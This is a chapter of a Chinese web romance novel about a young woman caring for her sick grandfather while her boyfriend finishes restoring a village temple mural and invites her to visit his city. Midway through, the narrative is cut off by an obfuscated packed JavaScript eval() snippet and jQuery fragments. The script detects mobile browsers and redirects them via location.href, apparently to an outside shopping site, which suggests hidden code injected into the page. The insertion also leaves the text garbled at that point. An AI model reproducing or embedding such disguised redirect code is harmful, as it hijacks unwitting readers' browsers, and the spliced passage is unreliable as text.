村口黄桷兰树过了开得最盛的时候，几场春雨，将枝桠上的花打下来七七八八，只剩几朵挂在枝头摇摇欲坠。


    春天，成了落花的季节。


    倒春寒比深冬还冷，阴湿寒气无孔不入，钻进骨头缝里。外公的病变得更严重，光吃药已经不管用，必须每天打针。他不想住院，卓桢桢依他的想法，开车往返医院和家接送。


    “辛苦你了。”这是外公每天从医院回来，对她说的第一句话，“每天一来一回，耽误了你不少时间。”


    卓桢桢会回答“不耽误”，然后车内陷入长久的沉默。老人浑黄的眼睛看向窗外，无法聚焦于快速倒退的街景，扎着滞留针的那只手搭在腿上，另一只手在上面一下一下摩挲。


    “下个月是你妈妈的忌日。”外公突然说。


    像在提醒她，又像在提醒自己。


    卓桢桢“嗯”了一声，握方向盘的手紧了紧：“到时候准备一些她爱吃的，我们一起去看她。”


    外公没接话，继续看向窗外。


    到家是下午四点，外婆正坐在院子里清洗东西，见他们回来，双手在围裙上随意擦几下，起身迎上来：“可算回来了，辛苦桢桢了。”


    外婆跟着外公进屋，没一会儿就出来继续忙活。


    “在忙什么呢？”卓桢桢问，在外婆身边蹲下。


    “在洗肠衣，把盐渍洗干净之后泡起来。”外婆回答。


    塑料红盆的水没到盆沿大半，里面浸着肠衣，浮浮沉沉的，吐出的油沫漂在水面。卓桢桢觉得奇怪，视线从盆里收回，问道：“怎么又要灌腊肠？”


    年前屯年货还能理解，可春节都已经过了一个月了，灌这么多腊肠是为了什么？


    “哎哟，你什么记性。”外婆在她手臂上拍了拍，“小严他们不是工作快结束了嘛，我这几天赶紧做好，然后打包抽真空让他们带回去，当作临别礼物。”


    卓桢桢这才想起来，前段时间严濡非说修复进度进入收尾阶段了，她那时既要接送外公，又忙着新书出版的事情，所以没太放心上。


    直到现在才对临别有了实感。


    异地恋是很多情侣的难关，距离让爱变得虚无，在双方心里埋下不安的种子，在某一天突然爆发，才惊觉长年累月之下的极度疲惫，最后分手。


    但卓桢桢莫名觉得，距离阻碍不了她和严濡非。


    提到“严濡非”这三个字，总能给人一种安全感。


    卓桢桢垂下眼，不经意间瞥见外婆袖套里冒出一截红色绳头。“这是什么？”她指了指袖套撑出的轮廓。


    外婆笑着撩起袖子，摇晃手腕向她展示：“孙女婿送我的，好看吧！”


    “好看好看。”卓桢桢本来还想调侃外婆，明明之前还突然对人家冷言冷语，现在却一口一个孙女婿叫得亲热。都说女人心难猜，这句话果真不错，不管什么年纪，翻脸比翻书还快。


    严濡非究竟做了什么，让外婆改变了想法？


    是夜，卓桢桢敲响严濡非的房门。


    严濡非正在写工作日志，刚打开门，手里就被塞进一只瓷杯，热得发烫的温度从手心传向四肢百骸，有点发麻。他问：“这是什么？”


    “姜茶。”卓桢桢说完又补充道，“这次是煮的，不是泡的。”


    “听外婆说早上下了毛毛雨，你们都是淋雨工作的。”


    有人关心，严濡非心头发热。他低头抿了一口，姜香混着淡淡的红糖味，不呛人，反而温润得很，体内那点寒气瞬间消失。


    “谢谢。”


    “不请我进去坐坐？”卓桢桢冲他眨眨眼，严濡非这才想起两人一直站在门口，马上侧身让她进来。


    房间里还飘着淡淡的松节油味，是白天修复壁画时沾上的。卓桢桢往书桌旁凑了凑，瞥见日志本上密密麻麻的字迹，还有几幅草图，是西壁补绘的细节。


    尽管不是第一次看他的日志，但卓桢桢还是想感叹：怎么会有人把工作日志都写得这么工整好看，跟画板报一样。


    卓桢桢指尖轻点本子上的字迹，正看得专注，突然被温热的气息包裹住。严濡非不知道什么时候走到她身后，双手撑在桌沿两侧，将她圈在怀里。


    “在看什么？”严濡非下巴靠在她的肩膀上，边说还边用脸颊轻蹭她的脖颈。


    “看你的日志啊。”卓桢桢痒得缩了缩脖子，咯咯笑着，腿软站不稳，往后倒去。严濡非握住她纤细的腰肢，干脆将她抱上书桌坐好，与自己面对面。


    严濡非一只手搭着她的腰，另一只手撑在桌面，俯身靠近：“大晚上来我的房间，光看日志，不看看我？”


    突如其来的位置变换，卓桢桢下意识圈住他的脖颈。两人此时靠得极近，只要一方稍稍前倾，就能贴上对方的唇瓣。


    卓桢桢眼带狡黠，撅起嘴巴，意思很明显。


    严濡非喉结滚了滚，顺着她的意低头，鼻尖先蹭过她的鼻尖，再缓缓下移。唇瓣相贴的瞬间，卓桢桢忍不住扬起唇角，指尖在他的发间轻轻摩挲。


    夜间的雨下大了点，打在玻璃上发出细碎的声响。


    吻到动情，严濡非收紧手臂将她往怀里带，卓桢桢大腿蹭过日志本，发出轻微的“沙沙”声。不知过了多久，两人才分开，额头相抵，呼吸交缠。


    卓桢桢的脸颊泛着红晕，缓了一会儿才开口问：“你跟外婆说了什么？”


    严濡非扬起音调“嗯”了一声，表示不解。


    “外婆对你的态度突然转变，难道你没做什么？”


    “这个啊......”严濡非拇指揉着她泛红的耳垂，眼里闪过一丝犹豫，不过很快恢复如常，“可能是外婆终于看见我的好了？”


    卓桢桢显然不信，拍开他的手：“你少来，老实交代！”


    严濡非无奈：“也没做什么，就是跟她说了些话。”


    “什么话？”她继续追问。


    “就说些我会永远爱你、永远对你好之类的承诺，外婆可能看到了我的真心，所以不反对了。”


    外婆是多精明的人，怎么可能被一两句花言巧语哄骗？


    绝对不止这么简单。


    卓桢桢用略带探究的眼神盯着他，试图从他的表情中找出破绽，可严濡非的表情看起来平静无波，似乎没说谎。


    “没别的事了？”严濡非问，“那再亲会儿。”


    说完，他欺身上前，却被卓桢桢扭头躲开。她抬手捂住他的嘴，故作凶狠：“别打岔！我还有事没问完呢！”


    严濡非停下向前的动作，握住她的手放嘴边亲了亲，眼底漾着笑意：“好，你问。”


    “修复工作什么时候结束？”


    “这周之内结束，下周和文物管理部门、当地村委会完成交接，在四月之前回研究院报道。”


    也就是说，他们最多还剩两个星期的时间相处了。


    卓桢桢点点头：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108328|190932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “知道了。”她的声音闷闷的，毫不掩饰自己的低落。


    她永远学不会坦然面对分别，卓桢桢这样想。


    她走不出母亲的离世，所以不停回忆母亲，并将她写在纸上；她也不敢想自己会离开黄桷村，所以迟迟不定下具体的日期，能拖一天是一天。


    严濡非定定看了卓桢桢一会儿，然后张开双臂将她揽进怀里，问出了那个在心头盘旋许久的问题：“要不要跟我回青市？”


    回青市？


    这个提议太突然，卓桢桢犹豫了。


    她想到都市剧里常见的桥段，男主对女主说“你愿意陪我回北京吗”，听上去像在求婚，然后女主抛下一切和男主一起远走，最后拥有一场盛大的婚礼，至于之后的柴米油盐、生活琐碎，观众不得而知。


    青市人生地不熟，而且，她暂时还不想离开外公外婆。


    正在想怎么委婉拒绝，她的额头突然被弹了一下，随即耳边传来严濡非的轻笑：“想什么呢？”


    “这次修复工程结束后，研究院会给七天带薪休假。你之前不是说从来没去过青市吗，想不想趁此机会玩玩？”


    卓桢桢揉揉额头，尴尬地笑了笑。


    原来是自己想多了。


    严濡非嘴角的弧度一直没有放下去，看着女朋友耳廓微红，脸上的笑意更甚：“别傻笑，想不想去？”


    卓桢桢指尖抠着桌沿，良久才轻声开口，似乎不太在意：“即然你都发出邀请了，那就去呗。”


    *


    接下来的两周，一切如严濡非所说的那样，按部就班地进行。日子在忙碌与紧凑中悄然流逝。


    修复组为壁画做最后的表面封护，然后进行全面数字化扫描，留存高清影像资料。这些电子影像，将与修复师的工作报告一起归档至研究院和文物管理部门。


    2021年9月至2022年3月。


    历时半年，黄桷村古庙壁画修复工程正式竣工。


    隔天清晨，接修复组的大巴早早停在村口。严濡非一行人拎着大包小包走到村口时，才发现几乎全村人都来为他们送行。


    见到他们来，乡亲们都走近了些，目光殷切。


    贾村长上前，将一面锦旗递到马叔手上：“这是我们全村人的心意，真诚的感谢你们。”


    “古庙是老祖宗留下来的，墙皮掉了、壁画花了，我们看着心疼，却一点办法都没有。”


    “多亏有你们顶着风雨，让老祖宗的东西能再留几十年、几百年，让后生们也能看见这些宝贝。”


    车上，锦旗在大家手上传来传去，每个人脸上都洋溢着开心，拍了好几张照片才舍得给下一个人。


    传到严濡非手上时，他十分轻柔地摸了摸凸起的丝线，眼底是掩盖不住的兴奋。


    “这么开心？”卓桢桢凑上去看，上面写着：匠心修古壁，妙手续文脉，功在千秋。


    “非常有成就感。”严濡非点点头，目光仍然停留在锦旗上，但思绪已经飘远：“他们应该......很开心吧。”


    父母从小就想将他培养成修复师，和他们一样为文物修复事业添砖加瓦。此时此刻，他们心愿达成。


    手心传来温热的触感，是卓桢桢悄悄握住了他的手。严濡非转过头，就见她眼神坚定，一字一句说得认真：“叔叔阿姨会为你感到骄傲，因为你找到了文物修复的意义所在。”


    “我也为你感到骄傲。”